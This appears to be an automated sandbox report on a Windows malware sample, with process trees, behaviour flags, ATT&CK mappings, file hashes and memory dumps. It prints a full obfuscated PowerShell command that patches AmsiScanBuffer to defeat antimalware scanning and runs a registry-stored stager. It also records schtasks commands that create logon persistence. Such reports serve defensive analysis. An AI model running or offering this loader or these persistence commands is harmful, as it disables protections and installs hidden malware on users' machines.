C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1216

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jTGOFvyNbTTi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JjtxoBbkNwGWul,[Parameter(Position=1)][Type]$GfmuLaEmPv)$NwixBCSexRV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+'e'+'c'+''+'t'+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'T'+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'A'+'ut'+'o'+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$NwixBCSexRV.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+'e'+''+'c'+''+'i'+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$JjtxoBbkNwGWul).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$NwixBCSexRV.DefineMethod(''+'I'+'nvo'+[Char](107)+'e',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+'g'+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+','+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+'l',$GfmuLaEmPv,$JjtxoBbkNwGWul).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+'m'+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $NwixBCSexRV.CreateType();}$eoyyoEZgQxLWX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+'o'+'so'+[Char](102)+'t'+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+'ns'+[Char](97)+'f'+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'d'+'s'+'');$uAbgvAmxqZbdqV=$eoyyoEZgQxLWX.GetMethod(''+'G'+'e'+'t'+''+[Char](80)+''+'r'+''+[Char](111)+'cA'+'d'+''+'d'+''+[Char](114)+'e'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c,'+[Char](83)+'t'+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gNSYDQkWXyaXlYSPOIZ=jTGOFvyNbTTi @([String])([IntPtr]);$gIIATMIrKoQMHntWqkKSKM=jTGOFvyNbTTi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hrMvwWXTPCJ=$eoyyoEZgQxLWX.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+'d'+[Char](117)+''+[Char](108)+'eH'+'a'+'ndle').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+'3'+''+'2'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$nvOwlovYLyoznp=$uAbgvAmxqZbdqV.Invoke($Null,@([Object]$hrMvwWXTPCJ,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$qsuwXiPwjvlteruAO=$uAbgvAmxqZbdqV.Invoke($Null,@([Object]$hrMvwWXTPCJ,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+'a'+'l'+[Char](80)+'r'+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$JiMzkor=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nvOwlovYLyoznp,$gNSYDQkWXyaXlYSPOIZ).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$CaEOAUAMNUONSLUhh=$uAbgvAmxqZbdqV.Invoke($Null,@([Object]$JiMzkor,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$JbmdKehSqx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qsuwXiPwjvlteruAO,$gIIATMIrKoQMHntWqkKSKM).Invoke($CaEOAUAMNUONSLUhh,[uint32]8,4,[ref]$JbmdKehSqx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CaEOAUAMNUONSLUhh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qsuwXiPwjvlteruAO,$gIIATMIrKoQMHntWqkKSKM).Invoke($CaEOAUAMNUONSLUhh,[uint32]8,0x20,[ref]$JbmdKehSqx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+[Char](55)+'s'+[Char](116)+''+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1428

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2712

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2960

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3340

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3440

C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe
"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1732

C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3456

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:1124

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:2160

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3576

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3816

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5084

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:540

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4260

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1248

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3772

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1696

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3948

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2708

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
338B

MD5
f54c2389dfeedccc9694014963e7de04

SHA1
bca6b202563a38271e9b1ee31d7dbf7af1371343

SHA256
6b25bdb4a6b6db5675376a9b6fb2b3556f832792b884f56a16e2f9d39c86282c

SHA512
e4687dcd2c2f8079971ec2795075b411e83d6dba947e7cc688c34348096398b04df396731bfb65803c9618c422bb65931ed96f5b2225cba61ad0e1f4aafb31f2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize
404B

MD5
c5d8e83d4070a40c3e119ead87bc6c75

SHA1
39adac89e549b29f460d8a96313cd9d39f4dbe1f

SHA256
481b63fbb5101951c748805e171b8cda2e572dc074a02bdcb3846143cd132f6a

SHA512
a47d31ef3c83d3609c4979812bb6662c7325c2fdefe876a7171373c5e0ad2c849b7cdceed70d271a96516ca86f9c3643935ec1c65b061af868a4adda2a6ab0ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
Filesize
409KB

MD5
a0f5aa5764c4f66eee82f857f9f447b6

SHA1
3c3a780d020cb3eb3088223443fe813abb95dccd

SHA256
43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

SHA512
458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_h10sungd.x5c.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/332-90-0x00007FF8AA2D0000-0x00007FF8AA2E0000-memory.dmp

Filesize
64KB

Download
memory/332-89-0x0000020BCDE50000-0x0000020BCDE7B000-memory.dmp

Filesize
172KB

Download
memory/332-83-0x0000020BCDE50000-0x0000020BCDE7B000-memory.dmp

Filesize
172KB

Download
memory/428-94-0x000002367D290000-0x000002367D2BB000-memory.dmp

Filesize
172KB

Download
memory/624-56-0x00000253202C0000-0x00000253202EB000-memory.dmp

Filesize
172KB

Download
memory/624-49-0x00000253202C0000-0x00000253202EB000-memory.dmp

Filesize
172KB

Download
memory/624-50-0x00000253202C0000-0x00000253202EB000-memory.dmp

Filesize
172KB

Download
memory/624-57-0x00007FF8AA2D0000-0x00007FF8AA2E0000-memory.dmp

Filesize
64KB

Download
memory/624-48-0x0000025320290000-0x00000253202B5000-memory.dmp

Filesize
148KB

Download
memory/672-68-0x00007FF8AA2D0000-0x00007FF8AA2E0000-memory.dmp

Filesize
64KB

Download
memory/672-61-0x0000019DF32A0000-0x0000019DF32CB000-memory.dmp

Filesize
172KB

Download
memory/672-67-0x0000019DF32A0000-0x0000019DF32CB000-memory.dmp

Filesize
172KB

Download
memory/960-79-0x00007FF8AA2D0000-0x00007FF8AA2E0000-memory.dmp

Filesize
64KB

Download
memory/960-72-0x0000026D16BA0000-0x0000026D16BCB000-memory.dmp

Filesize
172KB

Download
memory/960-78-0x0000026D16BA0000-0x0000026D16BCB000-memory.dmp

Filesize
172KB

Download
memory/1848-30-0x0000028054040000-0x0000028054062000-memory.dmp

Filesize
136KB

Download
memory/1848-34-0x00007FF8E9DA0000-0x00007FF8E9E5E000-memory.dmp

Filesize
760KB

Download
memory/1848-33-0x00007FF8EA250000-0x00007FF8EA445000-memory.dmp

Filesize
2.0MB

Download
memory/1848-32-0x0000028056560000-0x000002805658A000-memory.dmp

Filesize
168KB

Download
memory/3456-717-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/3456-716-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/3456-13-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/3456-14-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/3456-31-0x0000000006600000-0x000000000660A000-memory.dmp

Filesize
40KB

Download
memory/4388-4-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/4388-2-0x00000000057E0000-0x0000000005D84000-memory.dmp

Filesize
5.6MB

Download
memory/4388-1-0x00000000008A0000-0x000000000090C000-memory.dmp

Filesize
432KB

Download
memory/4388-20-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/4388-0-0x00000000751EE000-0x00000000751EF000-memory.dmp

Filesize
4KB

Download
memory/4388-3-0x0000000005330000-0x00000000053C2000-memory.dmp

Filesize
584KB

Download
memory/4388-5-0x00000000053D0000-0x0000000005436000-memory.dmp

Filesize
408KB

Download
memory/4388-7-0x0000000006570000-0x00000000065AC000-memory.dmp

Filesize
240KB

Download
memory/4388-6-0x0000000006030000-0x0000000006042000-memory.dmp

Filesize
72KB

Download
memory/4856-40-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4856-41-0x00007FF8EA250000-0x00007FF8EA445000-memory.dmp

Filesize
2.0MB

Download
memory/4856-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4856-45-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4856-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4856-42-0x00007FF8E9DA0000-0x00007FF8E9E5E000-memory.dmp

Filesize
760KB

Download
memory/4856-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4856-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads